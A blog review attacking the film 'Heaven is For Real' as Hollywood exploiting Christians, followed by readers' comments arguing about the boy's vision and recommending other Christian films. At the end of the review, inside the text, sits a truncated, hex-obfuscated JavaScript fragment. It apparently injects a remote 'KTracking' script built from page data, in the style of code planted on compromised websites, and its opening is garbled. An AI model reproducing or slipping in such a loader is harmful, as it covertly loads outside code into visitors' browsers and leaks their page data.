Heaven is For Real: How Todd Burpo and Hollywood Fleeced Christianity.

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Heaven is For Real: How Todd Burpo and Hollywood Fleeced Christianity.

A Christian filmmaker friend of mine told me how excited he was for the state of Christian film. He has high hopes that Heaven is For Real will make a lot of money at the box office. Even though he doesn’t agree with the aberrant theology of Heaven is For Real, he believes that lots of evangelicals lining up to see a film marketed towards Christians is a good thing.

Christians lined up to see Heaven is For Real is no more a good thing, than lines of hungry children in Africa lined up to receive free, two year old stale rice cakes. They are not lined up because they enjoy stale rice cakes, they are lined up because they are starving to death.

Christians are starving to death, and Hollywood doesn’t feed them real food. They feed them stale rice cakes packaged in films like Heaven is For Real.

Heaven is For Real is the real life, honest to goodness, without any doubt, true story, of Pastor Todd Burpo and his son Colton. Todd’s son Colton is forced to have a sudden appendectomy. He doesn’t die on the table, but he does have an anesthesia induced vision of Heaven.

Colton believed that while under the knife he went to heaven and saw Jesus. He remembered multiple details, even exactly what Jesus looks like.

When I had heart surgery as a teenager, while under the knife, I dreamed I was Super Mario. I can tell you the exact block colors and everything. It was amazingly realistic. Perhaps I should write a book. I’ll title it: Mario Is for Real.

Todd Burpo is a loving, sacrificial, hard-working, small town pastor who needs to find a way to pay his bills. He is played by Greg Kinnear, who also plays Keegan Deane an alcoholic, who is addicted to gambling and buying prostitutes on FOX’s Rake. Keegan, like Pastor Todd, also needs to find ways to pay his bills, or bookies. Greg Kinnear is a great actor. For a moment I almost believed he was a Christian.

Colton Burpo is played by Connor Corum. His acting abilities are notably terrible. He has very few speaking lines and about 95% of all his scenes are just him staring into space and making really strange faces as if they filmed them really quickly during the few moments on set he was still.

But the acting in Heaven is For Real doesn’t matter. No amount of good acting can make up for a terrible script. But this is not just a terrible script. It’s an insulting script. This is a script written by a major studio, specifically to cater to the evangelical market–Assembly line Christianity. It’s completely contrived in every way. This is Hollywood mocking Christianity in every frame, knowing that evangelicals will eat it up.

This is what Hollywood thinks of Christians. This is the kind of script Hollywood thinks Christians want–every cheesy religious joke; every emotional moment; every tear. I felt like I was being picked on in High School again. I can just see Sony Picture execs laughing as they take your money to the bank and use it to make the next Spider-Man film, which you will also go and see.

Most disturbing is what seems to be 80% of the film is Greg Kinnear preaching the most happy feel good sermons he can in Church. One scene has Burpo preaching as he picks up his closed Bible and looks at it as if almost to say, I should open this thing some day. He immediately regrets the thought and places it back on the pulpit, closed.

Towards the end of the movie, just before preaching, Pastor Burpo uses a piece of paper with notes about his son’s visions to cover up the pages of the Bible. That scene moved me. I laughed at its apparent self-awareness that Todd has determined not preach the Bible anymore.

Perhaps director Randall Wallace is aware of that, too, and was trying to warn us that Burpo found a way to pay his bills after all. And now he doesn’t have to eat stale rice cakes. 42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Marcus
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18 comments
Prodigal Son
Prodigal Son

And YOU have done exactly what the Devil would want you to do... created doubt in Colton's testimony by comparing it to your own 'dream' and implying that God didn't and wouldn't reveal heaven to a child., for the world to see.  Perhaps so that he could share his experience with the world and inspire those with little faith (as yourself) to take another look at what's in store for those who believe- with any underlying statement of LOVE.  Sometimes things ARE as they seem... and as the Bible mentions over and over again without the faith of a child most will be lost.  

jblovsoccer
jblovsoccer

are you kidding me ? lol wow oh wow . Im a christian and i so so disagree with you . First i liked the movie and if they claim its true i believe it. Children are innocent, Why or how would a child that young know things his parents never told him. Then he says that god looks just like the one picture the 11 yr drew. Thats pretty neat .I see this movie as a boys story about his visions to heavin. Oh and i didnt stand in no line lol i download it on my phone and watched it . :)

NickPeters1
NickPeters1

@jblovsoccer " First i liked the movie and if they claim its true i believe it."

Well there's a fine epistemology. I sure hope you never meet Mormons or Jehovah's Witnesses. Especially Mormons since their history supposedly begins with the child Joseph Smith who claimed to see the Father and the Son appear to him. He was a child. Why would he lie?

Of course, the whole point is that the child might not be intentionally lying as if he wants to deceive his parents, but that he has a vivid imagination. The account breaks all the rules of NDEs. When information comes out two years later, that can be colored with various pieces heard including pieces heard from his Dad's sermons. You also want some experiences you can actually verify, such as events that happen on the terrestrial plane that we can corroborate. Burpo's experience has neither and many aspects he has just wrong, such as that Jesus would not have nails through his hands but rather through his wrists. 


I have great concern with what will happen if you find this boy ever strays from the path one day and what if he ever when asked about this just said he made it all up?

Put your eggs in the basket of Scripture instead.

Dcline1955
Dcline1955

I think we saw different movies... what a joke of a so called "review". Those who can't ~ teach, those who cant act, write reviews of those who can. Sadly you missed the entire message and intent of the movie.


headdl
headdl

"God is Not Dead" eclipses this weak production, with its excellent use of Christian apologetics and drama, portraying God's intervention in our lives to carry out His will. The concept of individual will also is well-presented. By far the best, and a must-see for all believers and seekers!

Terrence D.
Terrence D.

@headdl  If you liked "God's Not Dead", then you really need to watch "How to Answer the Fool". It's available for purchase on Vimeo. It's much better than "God's Not Dead". In matter of fact, it's so good that I bet if you used the arguments in it, as opposed to the arguments in "God's Not Dead", you would see a greater God-honoring response. :)  Try it out. It's phenomenal. "How to Answer the Fool" is MUCH much better than "God's Not Dead".

wadtite
wadtite

Suzanne, perhaps Fireproof meets that standard?

MullerOver
MullerOver

Well said, Marcus. It seems odd that some people are willing to get their theology from a four-year-old.

iBibleThumpU
iBibleThumpU

Christians aren't supposed to seek to be fed by Hollywood (the world).

mrbledsoe53
mrbledsoe53

Todd as well as TD Jakes are fleecing Christianity

suzannemariema
suzannemariema

Excellent article. You are absolutely correct and very discerning on every point. In regards to the fact that Christians are lining up for drivel because they are starving really got me thinking: I don't think there has really ever been a truly compelling, realistic, doctrinally sound fiction Christian film. Can you think of any? If they don't exist, surely in this day and age, WE (collectively as Christians engaged in this culture) need to be standing up and counteracting this drivel with the powerful truth. With that said, maybe its time I started writing again...

selahgreene
selahgreene

@suzannemariema   I would qualify Facing the Giants, Courageous, and Fireproof as non-Hollywood, compelling films as they were produced and directed by Christians.  They were all produced by Sherwood Baptist Church, in Albany, Georgia, and written and produced by the same Christian producer Alex Kindrick.  


I am grateful that there are real believers who are attempting to reach the unbelieving crowd with Christian produced films.  We do live in a time when we need to keep the world out of our daily lives as much as possible, while still remaining 'in the world.'  These films are excellent fare. Facing the Giants is my favorite, as it realistically portrays a young couple facing adversity and learning to trust completely in God, and what the results of such living faith are.  But it also has a cameo appearance by the very real (and very Christian) Georgia University football coach Mark Richt.  

Interestingly, the hostility of the world to wholesome Christian entertainment was demonstrated when the Motion Pictures Association of America gave the film a "Parental Guidance" rating because of its religious content and because the film dealt with infertility (the coach's wife) and depression. 

NickPeters1
NickPeters1

@suzannemariema  Chronicles of Narnia?

I was stunned that they left one of Aslan's last lines in "Voyage of the Dawn Treader."

WretchedRick
WretchedRick

@suzannemariema I might suggest "The Gospel According To Matthew" DVD. While it can be argued that the lead actor was chosen more for his visual appeal than acting ability, the big advantage here is that there was no Hollywood script, so no distortions intentional or otherwise. The dialogue is word-for-word from the NIV book of Matthew.  In that sense it stands alone, apart, and above any other movie.  It is refreshing and inspiring. I thought it was a powerful illustration of the book

And IMHO Richard Kiley had more acting ability in his little finger than any ten Hollywood dudes.


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